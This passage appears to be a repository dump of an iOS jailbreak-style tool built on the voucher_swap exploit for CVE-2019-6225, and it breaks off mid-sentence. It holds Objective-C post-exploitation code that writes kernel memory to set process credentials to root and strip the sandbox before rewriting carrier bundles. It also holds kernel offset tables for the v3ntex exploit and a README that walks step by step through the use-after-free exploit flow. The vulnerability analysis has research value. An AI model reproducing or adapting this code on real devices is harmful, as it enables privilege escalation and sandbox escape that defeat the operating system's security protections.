off_p_textvp = 0x248; 84 | off_p_textoff = 0x250; 85 | off_p_cputype = 0x2C0; 86 | off_p_cpu_subtype = 0x2C4; 87 | off_itk_space = 0x308; 88 | off_csb_platform_binary = 0xA4; 89 | off_csb_platform_path = 0xA8; 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /voucher_swap/post/post.h: -------------------------------------------------------------------------------- 1 | #ifndef post_h 2 | #define post_h 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | @interface Post : NSObject 9 | 10 | - (bool)go; 11 | - (void)reboot; 12 | - (bool)revert; 13 | - (bool)restore; 14 | - (void)letsChange; 15 | - (void)changeItAgain; 16 | - (void)restoreBackup; 17 | - (void)v3ntexApply; 18 | 19 | @end 20 | 21 | #endif /* post_h */ 22 | -------------------------------------------------------------------------------- /voucher_swap/post/post.m: -------------------------------------------------------------------------------- 1 | #import 2 | #include "post.h" 3 | #import "kernel_memory.h" 4 | #import "kernel_slide.h" 5 | #import "offsets.h" 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "platform.h" 11 | #include "parameters.h" 12 | #include "log.h" 13 | 14 | @implementation Post 15 | 16 | extern int reboot(int howto); 17 | 18 | static uint64_t SANDBOX = 0; 19 | 20 | - (uint64_t)selfproc { 21 | return kernel_read64(current_task + OFFSET(task, bsd_info)); 22 | } 23 | 24 | - (int)name_to_pid:(NSString *)name { 25 | static int maxArgumentSize = 0; 26 | if (maxArgumentSize == 0) { 27 | size_t size = sizeof(maxArgumentSize); 28 | if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) { 29 | maxArgumentSize = 4096; 30 | } 31 | } 32 | int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL }; 33 | struct kinfo_proc *info; 34 | size_t length; 35 | int count; 36 | sysctl(mib, 3, NULL, &length, NULL, 0); 37 | info = malloc(length); 38 | sysctl(mib, 3, info, &length, NULL, 0); 39 | count = (int)length / sizeof(struct kinfo_proc); 40 | for (int i = 0; i < count; i++) { 41 | pid_t pid = info[i].kp_proc.p_pid; 42 | if (pid == 0) { 43 | continue; 44 | } 45 | size_t size = maxArgumentSize; 46 | char *buffer = (char *)malloc(length); 47 | if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) { 48 | NSString *executable = [NSString stringWithCString:(buffer+sizeof(int)) encoding:NSUTF8StringEncoding]; 49 | if ([[executable lastPathComponent] isEqual:name]) { 50 | return info[i].kp_proc.p_pid; 51 | } 52 | } 53 | free(buffer); 54 | } 55 | free(info); 56 | return 0; 57 | } 58 | 59 | - (bool)isRoot { 60 | return !getuid() && !getgid(); 61 | } 62 | 63 | - (bool)isMobile { 64 | return getuid() == 501 && getgid() == 501; 65 | } 66 | 67 | - (void)setUID:(uid_t)uid { 68 | [self setUID:uid forProc:[self selfproc]]; 69 | } 70 | 71 | - (void)setUID:(uid_t)uid forProc:(uint64_t)proc { 72 | if (getuid() == uid) return; 73 | uint64_t ucred = kernel_read64(proc + off_p_ucred); 74 | kernel_write32(proc + off_p_uid, uid); 75 | kernel_write32(proc + off_p_ruid, uid); 76 | kernel_write32(ucred + off_ucred_cr_uid, uid); 77 | kernel_write32(ucred + off_ucred_cr_ruid, uid); 78 | kernel_write32(ucred + off_ucred_cr_svuid, uid); 79 | INFO("Overwritten UID to %i for proc 0x%llx", uid, proc); 80 | } 81 | 82 | - (void)setGID:(gid_t)gid { 83 | [self setGID:gid forProc:[self selfproc]]; 84 | } 85 | 86 | - (void)setGID:(gid_t)gid forProc:(uint64_t)proc { 87 | if (getgid() == gid) return; 88 | uint64_t ucred = kernel_read64(proc + off_p_ucred); 89 | kernel_write32(proc + off_p_gid, gid); 90 | kernel_write32(proc + off_p_rgid, gid); 91 | kernel_write32(ucred + off_ucred_cr_rgid, gid); 92 | kernel_write32(ucred + off_ucred_cr_svgid, gid); 93 | INFO("Overwritten GID to %i for proc 0x%llx", gid, proc); 94 | } 95 | 96 | - (void)setUIDAndGID:(int)both { 97 | [self setUIDAndGID:both forProc:[self selfproc]]; 98 | } 99 | 100 | - (void)setUIDAndGID:(int)both forProc:(uint64_t)proc { 101 | [self setUID:both forProc:proc]; 102 | [self setGID:both forProc:proc]; 103 | } 104 | 105 | - (void)root { 106 | [self setUIDAndGID:0]; 107 | } 108 | 109 | - (void)mobile { 110 | [self setUIDAndGID:501]; 111 | } 112 | 113 | // Sandbox // 114 | 115 | - (bool)isSandboxed { 116 | if (!MACH_PORT_VALID(kernel_task_port)) { 117 | [[NSFileManager defaultManager] createFileAtPath:@"/var/TESTF" contents:nil attributes:nil]; 118 | if (![[NSFileManager defaultManager] fileExistsAtPath:@"/var/TESTF"]) return true; 119 | [[NSFileManager defaultManager] removeItemAtPath:@"/var/TESTF" error:nil]; 120 | return false; 121 | } 122 | return kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) != 0; 123 | } 124 | 125 | - (bool)isSandboxed:(uint64_t)proc { 126 | return kernel_read64(kernel_read64(kernel_read64(proc + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) != 0; 127 | } 128 | 129 | - (void)sandbox { 130 | [self sandbox:[self selfproc]]; 131 | } 132 | 133 | - (void)sandbox:(uint64_t)proc { 134 | INFO("Sandboxed proc 0x%llx", proc); 135 | if ([self isSandboxed]) return; 136 | uint64_t ucred = kernel_read64(proc + off_p_ucred); 137 | uint64_t cr_label = kernel_read64(ucred + off_ucred_cr_label); 138 | kernel_write64(cr_label + off_sandbox_slot, SANDBOX); 139 | SANDBOX = 0; 140 | } 141 | 142 | - (void)unsandbox { 143 | [self unsandbox:[self selfproc]]; 144 | } 145 | 146 | - (void)unsandbox:(uint64_t)proc { 147 | INFO("Unsandboxed proc 0x%llx", proc); 148 | if (![self isSandboxed]) return; 149 | uint64_t ucred = kernel_read64(proc + off_p_ucred); 150 | uint64_t cr_label = kernel_read64(ucred + off_ucred_cr_label); 151 | if (SANDBOX == 0) SANDBOX = kernel_read64(cr_label + off_sandbox_slot); 152 | kernel_write64(cr_label + off_sandbox_slot, 0); 153 | } 154 | 155 | - (void)reboot { 156 | [self copyFolderToChange]; 157 | [self removeFolderAtOverlay]; 158 | [self copyFolderToOverlay]; 159 | [self removeFolderAtMedia]; 160 | kill([self name_to_pid:@"CommCenter"], SIGKILL); 161 | //reboot(0x400); 162 | } 163 | 164 | - (void)v3ntexApply { 165 | [self copyFolderToChange]; 166 | [self removeFolderAtOverlay]; 167 | [self copyFolderToOverlay]; 168 | [self removeFolderAtMedia]; 169 | } 170 | 171 | - (void)letsChange { 172 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/CarrierChanger12"] == YES) { 173 | printf("Old file\n"); 174 | [self removeChangeFolder]; 175 | [self copyFolderToMedia]; 176 | [self switchToNew]; 177 | } else if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/.CarrierChanger12"] == YES) { 178 | [self removeChangeFolder]; 179 | [self copyFolderToMedia]; 180 | } else { 181 | FILE *backupCheck = fopen("/var/mobile/.CarrierChanger12", "w"); 182 | if (!backupCheck) { 183 | printf("Failed to make a backup checker\n"); 184 | }else { 185 | printf("Successfully make a backup checker\n"); 186 | [self makeBackup]; 187 | [self removeChangeFolder]; 188 | [self copyFolderToMedia]; 189 | } 190 | } 191 | } 192 | 193 | - (void)switchToNew { 194 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/CarrierChanger12"]; 195 | [[NSFileManager defaultManager] removeItemAtPath:oldURL error:nil]; 196 | FILE *backupCheck = fopen("/var/mobile/.CarrierChanger12", "w"); 197 | if (!backupCheck) { 198 | printf("Failed to make a backup checker\n"); 199 | }else { 200 | printf("Successfully make a backup checker\n"); 201 | } 202 | } 203 | 204 | - (void)changeItAgain { 205 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"] == YES) { 206 | [self copyChangeToMedia]; 207 | } 208 | } 209 | 210 | - (void)restoreBackup { 211 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) { 212 | [self copyBackuptoMedia]; 213 | } 214 | } 215 | 216 | - (void)makeBackup { 217 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"]; 218 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChangerBackup/"]; 219 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 220 | printf("Successfully backed up\n"); 221 | } 222 | 223 | - (void)copyFolderToMedia { 224 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"]; 225 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 226 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 227 | printf("Successfully moved a folder\n"); 228 | } 229 | 230 | - (void)removeFolderAtMedia { 231 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 232 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil]; 233 | printf("Successfully removed a folder\n"); 234 | } 235 | 236 | - (void)copyFolderToOverlay { 237 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 238 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"]; 239 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 240 | printf("Successfully moved a folder\n"); 241 | } 242 | 243 | - (void)removeFolderAtOverlay { 244 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Library/Carrier Bundles/Overlay/"]; 245 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil]; 246 | printf("Successfully removed a folder\n"); 247 | } 248 | 249 | - (void)removeChangeFolder { 250 | NSURL *removeThis = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"]; 251 | [[NSFileManager defaultManager] removeItemAtPath:removeThis error:nil]; 252 | printf("Successfully removed a folder\n"); 253 | } 254 | 255 | - (void)copyFolderToChange { 256 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 257 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"]; 258 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 259 | printf("Successfully moved a folder\n"); 260 | } 261 | 262 | - (void)copyChangeToMedia { 263 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChanger12/"]; 264 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 265 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 266 | printf("Successfully moved a folder\n"); 267 | } 268 | 269 | - (void)copyBackuptoMedia { 270 | NSURL *oldURL = [NSURL fileURLWithPath:@"/var/mobile/Media/CarrierChangerBackup/"]; 271 | NSURL *newURL = [NSURL fileURLWithPath:@"/var/mobile/Media/Overlay/"]; 272 | [[NSFileManager defaultManager] copyItemAtPath:oldURL toPath:newURL error:nil]; 273 | printf("Successfully moved a folder\n"); 274 | } 275 | 276 | - (bool)go { 277 | offs_init(); 278 | printf("Getting root...\n"); 279 | [self root]; 280 | printf("UID: %i\n", getuid()); 281 | printf("Unsandboxing...\n"); 282 | [self unsandbox]; 283 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0); 284 | printf("Success!\n"); 285 | [self letsChange]; 286 | return getuid() ? false : true; 287 | } 288 | 289 | - (bool)revert { 290 | offs_init(); 291 | printf("Getting root...\n"); 292 | [self root]; 293 | printf("UID: %i\n", getuid()); 294 | printf("Unsandboxing...\n"); 295 | [self unsandbox]; 296 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0); 297 | printf("Success!\n"); 298 | [self changeItAgain]; 299 | return getuid() ? false : true; 300 | } 301 | 302 | - (bool)restore { 303 | offs_init(); 304 | printf("Getting root...\n"); 305 | [self root]; 306 | printf("UID: %i\n", getuid()); 307 | printf("Unsandboxing...\n"); 308 | [self unsandbox]; 309 | printf("Unsandboxed: %i\n", (kernel_read64(kernel_read64(kernel_read64([self selfproc] + off_p_ucred) + off_ucred_cr_label) + off_sandbox_slot) == 0) ? 1 : 0); 310 | printf("Success!\n"); 311 | [self restoreBackup]; 312 | return getuid() ? false : true; 313 | } 314 | 315 | @end 316 | -------------------------------------------------------------------------------- /voucher_swap/v3ntex/exploit.h: -------------------------------------------------------------------------------- 1 | // 2 | // exploit.h 3 | // v3ntex 4 | // 5 | // Created by tihmstar on 23.01.19. 6 | // Copyright © 2019 tihmstar. All rights reserved. 7 | // 8 | 9 | #ifndef exploit_h 10 | #define exploit_h 11 | #include 12 | 13 | typedef uint64_t kptr_t; 14 | typedef kern_return_t(*v3ntex_cb_t)(task_t tfp0, kptr_t kbase, void *data); 15 | 16 | extern kptr_t kbase; 17 | mach_port_t v3ntex(void); 18 | 19 | #endif /* exploit_h */ 20 | -------------------------------------------------------------------------------- /voucher_swap/v3ntex/offsets.c: -------------------------------------------------------------------------------- 1 | // 2 | // offsets.c 3 | // v3ntex 4 | // 5 | // Created by tihmstar on 23.01.19. 6 | // Copyright © 2019 tihmstar. All rights reserved. 7 | // 8 | 9 | #include "offsets.h" 10 | #include 11 | #include 12 | #include 13 | 14 | #define dprintf printf 15 | #define dstrcmp strcmp 16 | 17 | t_offsets *guoffsets = NULL; 18 | //typedef struct{ 19 | // kptr_t offset_zone_map; 20 | // kptr_t offset_kernel_map; 21 | // kptr_t offset_kernel_task; 22 | // kptr_t offset_realhost; 23 | // kptr_t offset_bzero; 24 | // kptr_t offset_bcopy; 25 | // kptr_t offset_copyin; 26 | // kptr_t offset_copyout; 27 | // kptr_t offset_ipc_port_alloc_special; 28 | // kptr_t offset_ipc_kobject_set; 29 | // kptr_t offset_ipc_port_make_send; 30 | // kptr_t offset_rop_ldr_r0_r0_0xc; 31 | // kptr_t offset_chgproccnt; 32 | // kptr_t offset_kauth_cred_ref; 33 | // kptr_t offset_OSSerializer_serialize; 34 | // kptr_t offset_ipc_space_is_task; 35 | // kptr_t offset_task_itk_self; 36 | // kptr_t offset_task_itk_registered; 37 | // kptr_t offset_vtab_get_external_trap_for_index; 38 | // kptr_t offset_iouserclient_ipc; 39 | // kptr_t offset_proc_ucred; 40 | // kptr_t offset_task_bsd_info; 41 | // kptr_t offset_sizeof_task; 42 | //}t_offsets; 43 | 44 | t_offsets *info_to_target_environment(char *uname) { 45 | guoffsets = NULL; 46 | t_offsets uoffsets; 47 | #define pushOffset(off) *(((kptr_t*)&uoffsets)+(pushing++)) = (off) 48 | if (!dstrcmp(uname, "Darwin Kernel Version 17.4.0: Fri Dec 8 19:35:52 PST 2017; root:xnu-4570.40.9~1/RELEASE_ARM64_S5L8960X")){ 49 | // pushOffset(0x80476220); //zone_map 50 | // pushOffset(0x804ac034); //kernel_map 51 | // pushOffset(0x804ac030); //kernel_task 52 | // pushOffset(0x804611b0); //realhost 53 | // pushOffset(0x80009168); //bzero 54 | // pushOffset(0x80008e1d); //bcopy 55 | // pushOffset(0x80007a64); //copyin 56 | // pushOffset(0x80007b4c); //copyout 57 | // pushOffset(0x8001a1ab); //ipc_port_alloc_special 58 | // pushOffset(0x8002c399); //ipc_kobject_set 59 | // pushOffset(0x80019d59); //ipc_port_make_send 60 | // pushOffset(0x801160b9); //rop_ldr_r0_r0_0xc 61 | // pushOffset(0x8029b979); //chgproccnt 62 | // pushOffset(0x8027b03b); //kauth_cred_ref 63 | // pushOffset(0x80346345); //OSSerializer_serialize 64 | // pushOffset(0x00000018); //ipc_space_is_task 65 | // pushOffset(0x000000a4); //task_itk_self 66 | // pushOffset(0x000001e4); //task_itk_registered 67 | // pushOffset(0x000000e1); //vtab_get_external_trap_for_index 68 | // pushOffset(0x00000060); //iouserclient_ipc 69 | // pushOffset(0x00000090); //proc_ucred 70 | // pushOffset(0x00000238); //task_bsd_info 71 | // pushOffset(0x000003d8); //sizeof_task 72 | } 73 | else{ 74 | dprintf("[!] Failed to load offsets\n"); 75 | return NULL; 76 | } 77 | 78 | guoffsets = malloc(sizeof(t_offsets)); 79 | memcpy(guoffsets,&uoffsets,sizeof(t_offsets)); 80 | 81 | dprintf("[*] Loaded offsets:\n"); 82 | dprintf(" 0x%016llx -offset_zone_map\n",uoffsets.offset_zone_map); 83 | dprintf(" 0x%016llx -offset_kernel_map\n",uoffsets.offset_kernel_map); 84 | dprintf(" 0x%016llx -offset_kernel_task\n",uoffsets.offset_kernel_task); 85 | dprintf(" 0x%016llx -offset_realhost\n",uoffsets.offset_realhost); 86 | dprintf(" 0x%016llx -offset_bzero\n",uoffsets.offset_bzero); 87 | dprintf(" 0x%016llx -offset_bcopy\n",uoffsets.offset_bcopy); 88 | dprintf(" 0x%016llx -offset_copyin\n",uoffsets.offset_copyin); 89 | dprintf(" 0x%016llx -offset_copyout\n",uoffsets.offset_copyout); 90 | dprintf(" 0x%016llx -offset_ipc_port_alloc_special\n",uoffsets.offset_ipc_port_alloc_special); 91 | dprintf(" 0x%016llx -offset_ipc_kobject_set\n",uoffsets.offset_ipc_kobject_set); 92 | dprintf(" 0x%016llx -offset_ipc_port_make_send\n",uoffsets.offset_ipc_port_make_send); 93 | dprintf(" 0x%016llx -offset_rop_ldr_r0_r0_0xc\n",uoffsets.offset_rop_ldr_r0_r0_0xc); 94 | dprintf(" 0x%016llx -offset_chgproccnt\n",uoffsets.offset_chgproccnt); 95 | dprintf(" 0x%016llx -offset_kauth_cred_ref\n",uoffsets.offset_kauth_cred_ref); 96 | dprintf(" 0x%016llx -offset_OSSerializer_serialize\n",uoffsets.offset_OSSerializer_serialize); 97 | dprintf(" 0x%016llx -offset_ipc_space_is_task\n",uoffsets.offset_ipc_space_is_task); 98 | dprintf(" 0x%016llx -offset_task_itk_self\n",uoffsets.offset_task_itk_self); 99 | dprintf(" 0x%016llx -offset_task_itk_registered\n",uoffsets.offset_task_itk_registered); 100 | dprintf(" 0x%016llx -offset_vtab_get_external_trap_for_index\n",uoffsets.offset_vtab_get_external_trap_for_index); 101 | dprintf(" 0x%016llx -offset_iouserclient_ipc\n",uoffsets.offset_iouserclient_ipc); 102 | dprintf(" 0x%016llx -offset_proc_ucred\n",uoffsets.offset_proc_ucred); 103 | dprintf(" 0x%016llx -offset_task_bsd_info\n",uoffsets.offset_task_bsd_info); 104 | dprintf(" 0x%016llx -offset_sizeof_task\n",uoffsets.offset_sizeof_task); 105 | 106 | return guoffsets; 107 | } 108 | -------------------------------------------------------------------------------- /voucher_swap/v3ntex/offsets.h: -------------------------------------------------------------------------------- 1 | // 2 | // offsets.h 3 | // v3ntex 4 | // 5 | // Created by tihmstar on 23.01.19. 6 | // Copyright © 2019 tihmstar. All rights reserved. 7 | // 8 | 9 | #ifndef offsets_h 10 | #define offsets_h 11 | 12 | 13 | #include 14 | typedef uint64_t kptr_t; 15 | 16 | typedef struct{ 17 | kptr_t offset_zone_map; 18 | kptr_t offset_kernel_map; 19 | kptr_t offset_kernel_task; 20 | kptr_t offset_realhost; 21 | kptr_t offset_bzero; 22 | kptr_t offset_bcopy; 23 | kptr_t offset_copyin; 24 | kptr_t offset_copyout; 25 | kptr_t offset_ipc_port_alloc_special; 26 | kptr_t offset_ipc_kobject_set; 27 | kptr_t offset_ipc_port_make_send; 28 | kptr_t offset_rop_ldr_r0_r0_0xc; 29 | kptr_t offset_chgproccnt; 30 | kptr_t offset_kauth_cred_ref; 31 | kptr_t offset_OSSerializer_serialize; 32 | kptr_t offset_ipc_space_is_task; 33 | kptr_t offset_task_itk_self; 34 | kptr_t offset_task_itk_registered; 35 | kptr_t offset_vtab_get_external_trap_for_index; 36 | kptr_t offset_iouserclient_ipc; 37 | kptr_t offset_proc_ucred; 38 | kptr_t offset_task_bsd_info; 39 | kptr_t offset_sizeof_task; 40 | }t_offsets; 41 | 42 | extern t_offsets *guoffsets; 43 | 44 | // Initializer 45 | t_offsets *info_to_target_environment(char *uname); 46 | #endif /* offsets_h */ 47 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/README: -------------------------------------------------------------------------------- 1 | voucher_swap - Exploit for P0 issue 1731 on iOS 12.1.2 2 | Brandon Azad 3 | 4 | ---- Issue 1731: CVE-2019-6225 -------------------------------------------------------------------- 5 | 6 | iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free 7 | 8 | Consider the MIG routine task_swap_mach_voucher(): 9 | 10 | routine task_swap_mach_voucher( 11 | task : task_t; 12 | new_voucher : ipc_voucher_t; 13 | inout old_voucher : ipc_voucher_t); 14 | 15 | Here's the (placeholder) implementation: 16 | 17 | kern_return_t 18 | task_swap_mach_voucher( 19 | task_t task, 20 | ipc_voucher_t new_voucher, 21 | ipc_voucher_t *in_out_old_voucher) 22 | { 23 | if (TASK_NULL == task) 24 | return KERN_INVALID_TASK; 25 | 26 | *in_out_old_voucher = new_voucher; 27 | return KERN_SUCCESS; 28 | } 29 | 30 | The correctness of this implementation depends on exactly how MIG ownership semantics are defined 31 | for each of these parameters. 32 | 33 | When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the 34 | ones violated by the bugs above): 35 | 36 | 1. All Mach ports (except the first) passed as input parameters are owned by the service routine if 37 | and only if the service routine returns success. If the service routine returns failure then MIG 38 | will deallocate the ports. 39 | 40 | 2. All out-of-line memory regions passed as input parameters are owned by the service routine if 41 | and only if the service routine returns success. If the service routine returns failure then MIG 42 | will deallocate all out-of-line memory. 43 | 44 | But this is only part of the picture. There are more rules for other types of objects: 45 | 46 | 3. All objects with defined MIG translations that are passed as input-only parameters are borrowed 47 | by the service routine. For reference-counted objects, this means that the service routine is 48 | not given a reference, and hence a reference must be added if the service routine intends to 49 | keep the object around. 50 | 51 | 4. All objects with defined MIG translations that are returned in output parameters must be owned 52 | by the output parameter. For reference-counted objects, this means that output parameters 53 | consume a reference on the object. 54 | 55 | And most unintuitive of all: 56 | 57 | 5. All objects with defined MIG translations that are passed as input in input-output parameters 58 | are owned (not borrowed!) by the service routine. This means that the service routine must 59 | consume the input object's reference. 60 | 61 | Having defined MIG translations means that there is an automatic conversion defined between the 62 | object type and its Mach port representation. A task port is one example of such a type: you can 63 | convert a task port to the underlying task object using convert_port_to_task(), and you can convert 64 | a task to its corresponding port using convert_task_to_port(). 65 | 66 | Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t: 67 | 68 | type ipc_voucher_t = mach_port_t 69 | intran: ipc_voucher_t convert_port_to_voucher(mach_port_t) 70 | outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t) 71 | destructor: ipc_voucher_release(ipc_voucher_t) 72 | ; 73 | 74 | This definition means that MIG will automatically convert the voucher port input parameters to 75 | ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters 76 | into ports using convert_voucher_to_port(), and discard any extra references using 77 | ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without 78 | consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and 79 | produces a port reference. 80 | 81 | To confirm our understanding of the MIG semantics outlined above, we can look at the function 82 | _Xtask_swap_mach_voucher(), which is generated by MIG during the build process: 83 | 84 | mig_internal novalue _Xtask_swap_mach_voucher 85 | (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) 86 | { 87 | ... 88 | kern_return_t RetCode; 89 | task_t task; 90 | ipc_voucher_t new_voucher; 91 | ipc_voucher_t old_voucher; 92 | ... 93 | task = convert_port_to_task(In0P->Head.msgh_request_port); 94 | 95 | new_voucher = convert_port_to_voucher(In0P->new_voucher.name); 96 | 97 | old_voucher = convert_port_to_voucher(In0P->old_voucher.name); 98 | 99 | RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher); 100 | 101 | ipc_voucher_release(new_voucher); 102 | 103 | task_deallocate(task); 104 | 105 | if (RetCode != KERN_SUCCESS) { 106 | MIG_RETURN_ERROR(OutP, RetCode); 107 | } 108 | ... 109 | if (IP_VALID((ipc_port_t)In0P->old_voucher.name)) 110 | ipc_port_release_send((ipc_port_t)In0P->old_voucher.name); 111 | 112 | if (IP_VALID((ipc_port_t)In0P->new_voucher.name)) 113 | ipc_port_release_send((ipc_port_t)In0P->new_voucher.name); 114 | ... 115 | OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher); 116 | 117 | OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX; 118 | OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply)); 119 | OutP->msgh_body.msgh_descriptor_count = 1; 120 | } 121 | 122 | Tracing where each of the references are going, we can deduce that: 123 | 124 | 1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service 125 | routine, so it is not owned by task_swap_mach_voucher(). In other words, 126 | task_swap_mach_voucher() is not given a reference on new_voucher. 127 | 128 | 2. The old_voucher parameter has a reference on it before it gets overwritten by 129 | task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the 130 | input value of old_voucher. 131 | 132 | 3. The value returned by task_swap_mach_voucher() in old_voucher is passed to 133 | convert_voucher_to_port(), which consumes a reference on the voucher. Thus, 134 | task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of 135 | old_voucher. 136 | 137 | Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of 138 | these rules are being followed: 139 | 140 | kern_return_t 141 | task_swap_mach_voucher( 142 | task_t task, 143 | ipc_voucher_t new_voucher, 144 | ipc_voucher_t *in_out_old_voucher) 145 | { 146 | if (TASK_NULL == task) 147 | return KERN_INVALID_TASK; 148 | 149 | *in_out_old_voucher = new_voucher; 150 | return KERN_SUCCESS; 151 | } 152 | 153 | This results in two separate reference counting issues: 154 | 155 | 1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are 156 | leaking a reference on the input value of old_voucher. 157 | 158 | 2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are 159 | consuming a reference we don't own, leading to an over-release of new_voucher. 160 | 161 | ---- Exploit flow --------------------------------------------------------------------------------- 162 | 163 | First we allocate a bunch of pipes so that we can spray pipe buffers later. 164 | 165 | Then we spray enough Mach ports to fill the ipc.ports zone and cause it to grow and allocate fresh 166 | pages from the zone map; 8000 ports is usually sufficient. That way, when we allocate our pipe 167 | buffers, there's a high chance the pipe buffers lie directly after the ports in kernel memory. The 168 | last port that we allocate is the base port. 169 | 170 | Next we write a 16383-byte pattern to our pipe buffers, causing them to allocate from kalloc.16384. 171 | XNU limits the global amount of pipe buffer memory to 16 MB, but this is more than sufficient to 172 | fill kalloc.16384 and get some pipe buffers allocated after our base port in kernel memory. 173 | 174 | We fill the pipes with fake Mach ports. For each pipe buffer we fill, we set the fake ports' 175 | ip_kotype bits to specify which pair of pipe file descriptors corresponds to this pipe buffer. 176 | 177 | Now that we've allocated some pipe buffers directly after the base port, we set up state for 178 | triggering the vulnerability. We spray several pages of Mach vouchers, and choose one near the end 179 | to be the target for use-after-free. We want the target voucher to lie on a page containing only 180 | sprayed vouchers, so that later we can free all the vouchers on that page and make the page 181 | available for zone garbage collection. 182 | 183 | Then we spray 15% of physical memory size with allocations from kalloc.1024. We'll free this memory 184 | later to ensure that there are lots of free pages to encourage zone garbage collection. 185 | 186 | Next we stash a pointer to the target voucher in our thread's ith_voucher field using 187 | thread_set_mach_voucher(), and then remove the added voucher reference using the 188 | task_swap_mach_voucher() vulnerability. This means that even though ith_voucher still points to the 189 | target voucher, there's only one reference on it, so just like the rest of the vouchers it'll be 190 | freed once we destroy all the voucher ports in userspace. 191 | 192 | At this point we free the kalloc.1024 allocations, destroy the voucher ports to free all the 193 | vouchers, and start slowly filling kernel memory with out-of-line ports allocations to try and 194 | trigger a zone gc and get the page containing our freed target voucher (which ith_voucher still 195 | points to) reallocated with out-of-line ports. In my experiments, spraying 17% of physical memory 196 | size is sufficient. 197 | 198 | We'll try and reallocate the page containing the freed voucher with a pattern of out-of-line Mach 199 | ports that overwrites certain fields of the voucher. Specifically, we overwrite the voucher's 200 | iv_port field, which specifies the Mach port that exposes this voucher to userspace, with NULL and 201 | overwrite the iv_refs field, which is the voucher's reference count, with the lower 32 bits of a 202 | pointer to the base port. 203 | 204 | Overwriting iv_refs with the lower 32 bits of a pointer to the base port will ensure that the 205 | reference count is valid so long as the base port's address is small enough. This is necessary for 206 | us to call thread_get_mach_voucher() later without triggering a panic. Additionally, the pointer to 207 | the base port plays double-duty since we'll later use the task_swap_mach_voucher() vulnerability 208 | again to increment iv_refs and change what was a pointer to the base port so that it points into 209 | our pipe buffers instead. 210 | 211 | Once we've reallocated the voucher with our out-of-line ports spray, we call 212 | thread_get_mach_voucher(). This interprets ith_voucher, which points into the middle of our 213 | out-of-line ports spray, as a Mach voucher, and since iv_port is NULL, a new Mach voucher port is 214 | allocated to represent the freed voucher. Then thread_get_mach_voucher() returns the voucher port 215 | back to us in userspace, allowing us to continue manipulating the freed voucher while it still 216 | overlaps the out-of-line ports array. 217 | 218 | Next we increment the voucher's iv_refs field using task_swap_mach_voucher(), which modifies the 219 | out-of-line pointer to the base port overlapping iv_refs so that it now points into the pipe 220 | buffers. 221 | 222 | And since we guaranteed that every possible fake port inside the pipe buffers looks valid, we can 223 | now safely receive the messages containing the out-of-line ports spray to recover a send right to 224 | 